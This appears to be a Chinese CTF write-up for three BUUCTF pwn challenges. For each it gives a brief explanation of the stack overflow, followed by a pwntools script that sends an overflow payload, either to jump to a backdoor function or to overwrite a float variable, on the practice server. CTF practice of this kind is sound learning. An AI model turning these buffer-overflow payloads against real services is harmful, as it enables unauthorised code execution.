warmup_csaw_2016
明显的栈溢出漏洞,看到v5的长度为0x40、后门函数的地址为0x40060d
from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='amd64'
context.log_level='debug'
sl=lambda x:io.sendline(x)
io=remote('node4.buuoj.cn',25851)
payload=bytes('a',encoding='utf8')*(0x40+8)+p64(0x40060d)
sl(payload)
io.interactive()
ciscn_2019_n_1
func()
没有必要进行溢出,只要覆盖到v2,让v2==11.28125就可以
注意数值转换
请参考:浮点数在内存中如何表示
from pwn import *
p = remote('node4.buuoj.cn', 27536)
payload = bytes('a',encoding='utf8')*(0x30-0x04) + p32(0x41348000)
p.sendline(payload)
p.interactive()
pwn1_sctf_2016
vuln()
后门函数
from pwn import *
p=remote('node4.buuoj.cn',26933)
payload=20*bytes('I',encoding='utf8')+4*bytes('A',encoding='utf8')+p32(0x8048F0D)
p.sendline(payload)
p.interactive()
参考文章
CTF(Pwn)32位文件 和 64 文件 的 差异
pwn1_sctf_2016